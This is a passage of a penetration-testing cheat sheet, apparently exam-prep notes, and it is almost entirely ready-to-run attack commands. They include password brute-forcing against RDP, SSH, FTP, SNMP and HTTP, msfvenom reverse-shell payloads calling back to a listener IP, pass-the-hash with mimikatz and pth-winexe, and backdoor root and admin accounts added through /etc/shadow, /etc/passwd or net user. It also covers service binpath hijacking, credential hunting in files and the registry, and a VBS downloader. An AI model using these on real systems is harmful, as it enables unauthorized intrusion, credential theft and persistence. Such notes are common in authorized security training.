<p>RDP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ncrack <span class="nt">-vv</span> <span class="nt">--user</span> offsec <span class="nt">-P</span> password-file.txt rdp://&lt;host-ip&gt; <span class="sb">```</span>bash SSH <span class="sb">```</span>bash hydra <span class="nt">-l</span> root <span class="nt">-P</span> password-file.txt &lt;host-ip&gt; ssh </code></pre></div></div> <p>FTP</p> <p>Check wordlist over multiple hosts</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hydra <span class="nt">-M</span> ftp_hosts_open.txt <span class="nt">-l</span> administrator <span class="nt">-P</span> /usr/share/john/password.lst ftp </code></pre></div></div> <p>SNMP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hydra <span class="nt">-P</span> password-file.txt <span class="nt">-v</span> &lt;host-ip&gt; snmp </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># enumerate entire MIB tree</span> snmpwalk <span class="nt">-c</span> public <span class="nt">-v1</span> &lt;host-ip&gt; <span class="c"># enumerate windows users</span> snmpwalk <span class="nt">-c</span> public <span class="nt">-v1</span> &lt;host-ip&gt; 1.3.6.1.4.1.77.1.2.25 <span class="c"># enumerate running windows processes</span> snmpwalk <span class="nt">-c</span> public <span class="nt">-v1</span> &lt;host-ip&gt; 1.3.6.1.2.1.25.4.2.1.2 <span class="c"># enumerate open TCP ports</span> snmpwalk <span class="nt">-c</span> public <span class="nt">-v1</span> &lt;host-ip&gt; 1.3.6.1.2.1.6.13.1.3 <span class="c"># enumerate installed software</span> snmpwalk <span class="nt">-c</span> public <span class="nt">-v1</span> &lt;host-ip&gt; 1.3.6.1.2.1.25.6.3.1.2 </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># snmpwalk over list of ip's</span> <span class="k">while </span><span class="nb">read</span> <span class="nt">-r</span> line<span class="p">;</span> <span class="k">do</span> <span class="sb">`</span>snmpwalk <span class="nt">-c</span> public <span class="nt">-v1</span> <span class="nv">$line</span> 1.3.6.1.4.1.77.1.2.25 <span class="o">&gt;</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span>_users.txt<span class="sb">`</span> <span class="k">done</span> &lt; ip_list.txt </code></pre></div></div> <p>DNS</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#Forward DNS Lookup Brute Force</span> <span class="k">for </span>ip <span class="k">in</span> <span class="si">$(</span><span class="nb">cat </span>subdomain_list.txt<span class="si">)</span><span class="p">;</span><span class="k">do </span>host <span class="nv">$ip</span>.megacorpone.com<span class="p">;</span><span class="k">done</span> <span class="c">#Reverse DNS Lookup Brute Force</span> <span class="k">for </span>ip <span class="k">in</span> <span class="si">$(</span><span class="nb">seq </span>155 190<span class="si">)</span><span class="p">;</span><span class="k">do </span>host 50.7.67.<span class="nv">$ip</span><span class="p">;</span><span class="k">done</span> |grep <span class="nt">-v</span> <span class="s2">"not found"</span> <span class="c">#Script for doing zone transfer</span> <span class="k">for </span>server <span class="k">in</span> <span class="si">$(</span>host <span class="nt">-t</span> ns <span class="nv">$1</span> |cut <span class="nt">-d</span><span class="s2">" "</span> <span class="nt">-f4</span><span class="si">)</span> <span class="k">do </span>host <span class="nt">-l</span> <span class="nv">$1</span> <span class="nv">$server</span> |grep <span class="s2">"has address"</span> <span class="k">done</span> <span class="c">#dnsrecon</span> dnsrecon <span class="nt">-d</span> megacorpone.com <span class="nt">-t</span> axfr </code></pre></div></div> <p>LDAP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldapsearch <span class="nt">-h</span> &lt;host-ip&gt; <span class="nt">-p</span> 389 <span class="nt">-w</span> &lt;password&gt; <span class="nt">-x</span> <span class="nt">-b</span> <span class="s2">"dc=&lt;domain&gt;,dc=local </span></code></pre></div></div> <p>AJP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p</span> 8009 &lt;host-ip&gt; <span class="nt">--script</span> ajp-brute nmap <span class="nt">-p</span> 8009 &lt;host-ip&gt; <span class="nt">--script</span> ajp-request <span class="nt">--script-args</span> <span class="nv">method</span><span class="o">=</span>GET </code></pre></div></div> <p>NetBios</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nbtscan &lt;host-ip&gt; </code></pre></div></div> <p>SMB</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbmap <span class="nt">-d</span> &lt;domain&gt; <span class="nt">-H</span> &lt;host-ip&gt; <span class="nt">-R</span> mount <span class="nt">-t</span> cifs <span class="s2">"//&lt;ip-address&gt;/Share"</span> smbmount smbclient <span class="s2">"</span><span class="se">\\\\</span><span class="s2">&lt;ip-address&gt;</span><span class="se">\S</span><span class="s2">hare"</span> </code></pre></div></div> <p>RPC</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rpcclient &lt;ip address&gt; <span class="nt">-U</span> “” <span class="nt">-N</span> rpcinfo <span class="nt">-p</span> &lt;target ip&gt; </code></pre></div></div> <h2 id="password-cracking">Password Cracking</h2> <p>TightVNC</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">C:\Users\ADMINI~1\Desktop\Tools</span><span class="err">&gt;</span><span class="nx">vncpwd.exe</span><span class="w"> </span><span class="nx">2151D3722874AD0C</span><span class="w"> </span><span class="o">*</span><span class="n">VNC</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="nx">decoder</span><span class="w"> </span><span class="nx">0.2</span><span class="w"> </span><span class="n">by</span><span class="w"> </span><span class="nx">Luigi</span><span class="w"> </span><span class="nx">Auriemma</span><span class="w"> </span><span class="n">e-mail:</span><span class="w"> </span><span class="nx">aluigi</span><span class="err">@</span><span class="nx">autistici.org</span><span class="w"> </span><span class="n">web:</span><span class="w"> </span><span class="nx">aluigi.org</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">your</span><span class="w"> </span><span class="nx">input</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="nx">seems</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">hex</span><span class="w"> </span><span class="nx">format</span><span class="w"> </span><span class="p">(</span><span class="n">or</span><span class="w"> </span><span class="nx">longer</span><span class="w"> </span><span class="nx">than</span><span class="w"> </span><span class="nx">8</span><span class="w"> </span><span class="nx">chars</span><span class="p">)</span><span class="w"> </span><span class="n">Password:</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">password</span><span class="err">&gt;</span><span class="w"> </span></code></pre></div></div> <p>SAM</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwdump system SAM </code></pre></div></div> <h2 id="password-bruteforce">Password Bruteforce</h2> <p>HTTP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>medusa <span class="nt">-h</span> &lt;host-ip&gt; <span class="nt">-u</span> <span class="o">{</span>jeff,admin<span class="o">}</span> <span class="nt">-P</span> mega-mangled <span class="nt">-M</span> http <span class="nt">-n</span> 80 <span class="nt">-m</span> DIR:/xampp <span class="nt">-T</span> 3 </code></pre></div></div> <p>RDP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ncrack <span class="nt">-vv</span> <span class="nt">--user</span> administrator <span class="nt">-P</span> ~/PASSWD/mega-mangled rdp://&lt;host-ip&gt; </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python crowbar.py <span class="nt">-b</span> rdp <span class="nt">-s</span> &lt;host-ip&gt;/32 <span class="nt">-U</span> ~/targets/0_usernames <span class="nt">-C</span> ~/targets/0_passwords </code></pre></div></div> <h2 id="msfvenom-payloads">Msfvenom Payloads</h2> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c"># if exes aren't allowed to upload or not executable a vbs script could be useful</span> msfvenom <span class="nt">-a</span> x86 <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.11.0.61 <span class="nv">LPORT</span><span class="o">=</span>6666 <span class="nv">EXITFUNC</span><span class="o">=</span>thread <span class="nt">-f</span> loop-vbs msfvenom <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.11.0.61 <span class="nv">LPORT</span><span class="o">=</span>18999 <span class="nt">-f</span> python <span class="nt">-e</span> x86/shikata_ga_nai <span class="nt">-b</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">0a</span><span class="se">\x</span><span class="s2">0d"</span> msfvenom <span class="nt">-a</span> x86 <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.11.0.61 <span class="nv">LPORT</span><span class="o">=</span>6666 <span class="nv">EXITFUNC</span><span class="o">=</span>process <span class="nt">-e</span> PexFnstenvSub <span class="nt">-f</span> python msfvenom <span class="nt">-a</span> x86 <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.11.0.61 <span class="nv">LPORT</span><span class="o">=</span>6666 <span class="nt">-b</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">3a</span><span class="se">\x</span><span class="s2">26</span><span class="se">\x</span><span class="s2">3f</span><span class="se">\x</span><span class="s2">25</span><span class="se">\x</span><span class="s2">23</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">0a</span><span class="se">\x</span><span class="s2">0d</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">2b</span><span class="se">\x</span><span class="s2">0b</span><span class="se">\x</span><span class="s2">5c</span><span class="se">\x</span><span class="s2">3d</span><span class="se">\x</span><span class="s2">3b</span><span class="se">\x</span><span class="s2">2d</span><span class="se">\x</span><span class="s2">2c</span><span class="se">\x</span><span class="s2">2e</span><span class="se">\x</span><span class="s2">24</span><span class="se">\x</span><span class="s2">25</span><span class="se">\x</span><span class="s2">1a"</span> <span class="nt">-e</span> PexAlphaNum <span class="nt">-f</span> python <span class="c"># perl windows reverse shell</span> msfvenom <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LPORT</span><span class="o">=</span>6666 <span class="nv">LHOST</span><span class="o">=</span>10.11.0.61 <span class="nt">-e</span> x86/shikata_ga_nai <span class="nt">-b</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">0a</span><span class="se">\x</span><span class="s2">0d"</span> <span class="nt">-f</span> perl <span class="c"># javascript payload</span> msfvenom <span class="nt">-p</span> windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.11.0.61 <span class="nv">LPORT</span><span class="o">=</span>444 <span class="nt">-f</span> js_le <span class="nt">-e</span> generic/none </code></pre></div></div> <h2 id="local-privilege-escalation">Local Privilege Escalation</h2> <h3 id="windows">Windows</h3> <p>Files containing passwords</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># has to be decrypted with gpp-decrypt</span><span class="w"> </span><span class="n">C:\Windows\SYSVOL\sysvol\</span><span class="err">&lt;</span><span class="nx">domain-name</span><span class="err">&gt;</span><span class="nx">\Policies\</span><span class="p">{</span><span class="mi">43383995</span><span class="nt">-A780-486C-83E1-469CB7FF2BF4</span><span class="p">}</span><span class="n">\Machine\Preferences\Groups</span><span class="err">&gt;</span><span class="nx">more</span><span class="w"> </span><span class="nx">Groups.xml</span><span class="w"> </span><span class="n">C:\Windows\repair\SAM</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nx">C:\Windows\repair\system</span><span class="w"> </span></code></pre></div></div> <p>Hash Injection</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pth-winexe <span class="nt">-U</span> Administrator%aad3b435b51404eeaad3b435b51404ee:175a592f3b0c0c5f02fad40c51412d3a //&lt;host-ip&gt; cmd.exe mimikatz <span class="c"># sekurlsa::pth /user:Administrateur /domain:&lt;domain&gt; /ntlm:cc36cf7a8514893efccd332446158b1a</span> xfreerdp /u:Administrator /pth:aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 /v:&lt;host-ip&gt; <span class="nt">-O</span> </code></pre></div></div> <p>User and Domains</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net view /DOMAIN:WORKGROUP net group <span class="s2">"Domain Admins"</span> net localgroup <span class="s2">"Administrators"</span> </code></pre></div></div> <p>Add admin user</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net user /add low &lt;password&gt; net localgroup administrators low /add </code></pre></div></div> <p>Insecure Files and Services</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include &lt;stdlib.h&gt; </span><span class="cm">/* system, NULL, EXIT_FAILURE */</span><span class="cp"> </span><span class="kt">int</span> <span class="nf">main</span> <span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="n">i</span><span class="o">=</span><span class="n">system</span> <span class="p">(</span><span class="s">"net localgroup administrators low /add"</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// compile with i686-w64-mingw32-gcc</span> </code></pre></div></div> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># show user rights for file </span><span class="w"> </span><span class="n">icacls</span><span class="w"> </span><span class="nx">scsiaccess.exe</span><span class="w"> </span><span class="c"># finding services that user robert is allowed to modify</span><span class="w"> </span><span class="n">accesschk.exe</span><span class="w"> </span><span class="nt">-uwcqv</span><span class="w"> </span><span class="s2">"robert"</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">/accepteula</span><span class="w"> </span><span class="c"># finding scheduled services</span><span class="w"> </span><span class="n">schtasks</span><span class="w"> </span><span class="nx">/query</span><span class="w"> </span><span class="nx">/fo</span><span class="w"> </span><span class="nx">LIST</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="c"># link running processes to started services</span><span class="w"> </span><span class="n">tasklist</span><span class="w"> </span><span class="nx">/SVC</span><span class="w"> </span><span class="c"># search for specific filetypes with string password</span><span class="w"> </span><span class="n">findstr</span><span class="w"> </span><span class="nx">/si</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="o">*.</span><span class="nf">xml</span><span class="w"> </span><span class="o">*.</span><span class="nf">ini</span><span class="w"> </span><span class="o">*.</span><span class="nf">txt</span><span class="w"> </span><span class="c"># grepping dir for specific strings</span><span class="w"> </span><span class="n">dir</span><span class="w"> </span><span class="nx">/s</span><span class="w"> </span><span class="o">*</span><span class="nx">pass</span><span class="o">*</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="o">*</span><span class="n">cred</span><span class="o">*</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="o">*</span><span class="n">vnc</span><span class="o">*</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="o">*.</span><span class="nf">config</span><span class="o">*</span><span class="w"> </span></code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># connect null session</span> net use <span class="se">\\</span>&lt;ip-address&gt;<span class="se">\$</span>Share “” /u:”” </code></pre></div></div> <h4 id="registry">Registry</h4> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">reg</span><span class="w"> </span><span class="nx">query</span><span class="w"> </span><span class="nx">HKLM\SYSTEM\CurrentControlSet\Services</span><span class="w"> </span><span class="c"># grep registry for passwords</span><span class="w"> </span><span class="n">reg</span><span class="w"> </span><span class="nx">query</span><span class="w"> </span><span class="nx">HKCU</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="nx">/t</span><span class="w"> </span><span class="nx">REG_SZ</span><span class="w"> </span><span class="nx">/s</span><span class="w"> </span><span class="n">reg</span><span class="w"> </span><span class="nx">query</span><span class="w"> </span><span class="nx">HKLM</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="nx">/t</span><span class="w"> </span><span class="nx">REG_SZ</span><span class="w"> </span><span class="nx">/s</span><span class="w"> </span><span class="c"># TightVNC server</span><span class="w"> </span><span class="n">reg</span><span class="w"> </span><span class="nx">query</span><span class="w"> </span><span class="nx">HKLM\Software\TightVNC\Server</span><span class="w"> </span></code></pre></div></div> <h4 id="sc">sc</h4> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sc</span><span class="w"> </span><span class="nx">qc</span><span class="w"> </span><span class="nx">Spooler</span><span class="w"> </span><span class="n">sc</span><span class="w"> </span><span class="nx">config</span><span class="w"> </span><span class="s2">"Spooler"</span><span class="w"> </span><span class="nx">binpath</span><span class="o">=</span><span class="w"> </span><span class="s2">"net user &lt;username&gt; &lt;password&gt; /add"</span><span class="w"> </span><span class="n">net</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">upnphost</span><span class="w"> </span></code></pre></div></div> <h4 id="wmic">wmic</h4> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wmic</span><span class="w"> </span><span class="nx">service</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">name</span><span class="p">,</span><span class="nx">displayname</span><span class="p">,</span><span class="nx">pathname</span><span class="p">,</span><span class="nx">startmode</span><span class="w"> </span><span class="o">|</span><span class="n">findstr</span><span class="w"> </span><span class="nx">/i</span><span class="w"> </span><span class="s2">"Auto"</span><span class="w"> </span><span class="o">|</span><span class="n">findstr</span><span class="w"> </span><span class="nx">/i</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="s2">"C:\Windows\\"</span><span class="w"> </span><span class="o">|</span><span class="n">findstr</span><span class="w"> </span><span class="nx">/i</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="s2">""" wmic service list full wmic /output:c:\Inetpub\wwwroot\services.txt service lst /format:hform </span></code></pre></div></div> <p>See open ports with running services:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># see ports with running PID's</span> netstat <span class="nt">-ano</span> <span class="c"># see matching services to PID's</span> tasklist </code></pre></div></div> <h2 id="linux">Linux</h2> <p>Users</p> <p>Bash script for adding user with admin rights</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span> /usr/sbin/adduser agentcooper /usr/bin/passwd agentcooper /usr/sbin/usermod <span class="nt">-aG</span> root agentcooper </code></pre></div></div> <p>It’s often difficult tu use built-in utilities within limited shell, more robust to simply add strings to files:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span> <span class="nb">echo</span> <span class="s2">"agentcooper:</span><span class="se">\$</span><span class="s2">1</span><span class="se">\$</span><span class="s2">AbCD4536</span><span class="se">\$</span><span class="s2">ujyfop5giNd2eAFbEo0o6/:16903:0:99999:7:::"</span> <span class="o">&gt;&gt;</span> /etc/shadow <span class="nb">echo</span> <span class="s2">"agentcooper:x:0:0:::/bin/bash"</span> <span class="o">&gt;&gt;</span> /etc/passwd <span class="nb">echo</span> <span class="s2">"agentcooper:x:0:"</span> <span class="o">&gt;&gt;</span> /etc/group </code></pre></div></div> <p>Insecure files and Services</p> <p>Find writable directories</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> d <span class="se">\(</span> <span class="nt">-perm</span> <span class="nt">-g</span>+w <span class="nt">-or</span> <span class="nt">-perm</span> <span class="nt">-o</span>+w <span class="se">\)</span> <span class="nt">-exec</span> <span class="nb">ls</span> <span class="nt">-adl</span> <span class="o">{}</span> <span class="se">\;</span> </code></pre></div></div> <p>See ports with services</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netstat <span class="nt">-tulpn</span><span class="sb">`</span> </code></pre></div></div> <h2 id="access">Access</h2> <h3 id="file-transfer">File Transfer</h3> <p>Create VBS based wget tool for windows</p> <div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">echo</span><span class="w"> </span><span class="nx">strUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">WScript.Arguments.Item</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">StrFile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">WScript.Arguments.Item</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Const</span><span class="w"> </span><span class="nx">HTTPREQUEST_PROXYSETTING_DEFAULT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Const</span><span class="w"> </span><span class="nx">HTTPREQUEST_PROXYSETTING_PRECONFIG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Const</span><span class="w"> </span><span class="nx">HTTPREQUEST_PROXYSETTING_DIRECT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Const</span><span class="w"> </span><span class="nx">HTTPREQUEST_PROXYSETTING_PROXY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Dim</span><span class="w"> </span><span class="nx">http</span><span class="p">,</span><span class="w"> </span><span class="nx">varByteArray</span><span class="p">,</span><span class="w"> </span><span class="nx">strData</span><span class="p">,</span><span class="w"> </span><span class="nx">strBuffer</span><span class="p">,</span><span class="w"> </span><span class="nx">lngCounter</span><span class="p">,</span><span class="w"> </span><span class="nx">fs</span><span class="p">,</span><span class="w"> </span><span class="nx">ts</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">Err.Clear</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Nothing</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateObject</span><span class="p">(</span><span class="s2">"WinHttp.WinHttpRequest.5.1"</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">If</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">Is</span><span class="w"> </span><span class="nx">Nothing</span><span class="w"> </span><span class="nx">Then</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateObject</span><span class="p">(</span><span class="s2">"WinHttp.WinHttpRequest"</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">If</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">Is</span><span class="w"> </span><span class="nx">Nothing</span><span class="w"> </span><span class="nx">Then</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateObject</span><span class="p">(</span><span class="s2">"MSXML2.ServerXMLHTTP"</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">If</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">Is</span><span class="w"> </span><span class="nx">Nothing</span><span class="w"> </span><span class="nx">Then</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateObject</span><span class="p">(</span><span class="s2">"Microsoft.XMLHTTP"</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">http.Open</span><span class="w"> </span><span class="s2">"GET"</span><span class="p">,</span><span class="w"> </span><span class="nx">strURL</span><span class="p">,</span><span class="w"> </span><span class="nx">False</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">http.Send</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">varByteArray</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">http.ResponseBody</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Nothing</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">fs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateObject</span><span class="p">(</span><span class="s2">"Scripting.FileSystemObject"</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Set</span><span class="w"> </span><span class="nx">ts</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fs.CreateTextFile</span><span class="p">(</span><span class="n">StrFile</span><span class="p">,</span><span class="w"> </span><span class="nx">True</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">strData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">strBuffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">For</span><span class="w"> </span><span class="nx">lngCounter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="nx">UBound</span><span class="p">(</span><span class="n">varByteArray</span><span class="p">)</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">ts.Write</span><span class="w"> </span><span class="nx">Chr</span><span class="p">(</span><span class="mi">255</span><span class="w"> </span><span class="n">And</span><span class="w"> </span><span class="nx">Ascb</span><span class="p">(</span><span class="n">Midb</span><span class="p">(</span><span class="n">varByteArray</span><span class="p">,</span><span class="nx">lngCounter</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">1</span><span class="p">,</span><span class="w"> </span><span class="nx">1</span><span class="p">)))</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="n">wget.vbs</span><span class="w"> </span><span class="nx">echo</span><span class="w"> </span><span class="nx">Next</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="nx">ts.Close</span><span class="w"> </span><span class="err">&gt;&gt;</span><span class="w"> </span><span class="nx">wget.vbs</span><span class="w"> </span></code></pre></div></div> <h3 id="linux-1">Linux</h3> <p>SSH</p> <p>Port Forwarding via Socks Proxy</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Creating Socks Proxy with SSH</span> ssh <span class="nt">-o</span> <span class="nv">ServerAliveInterval</span><span class="o">=</span>60 <span class="nt">-D</span> 127.0.0.1:8888 [email protected] <span class="c"># Doing Web based requests using the created socks proxy</span> curl <span class="nt">--socks5</span> 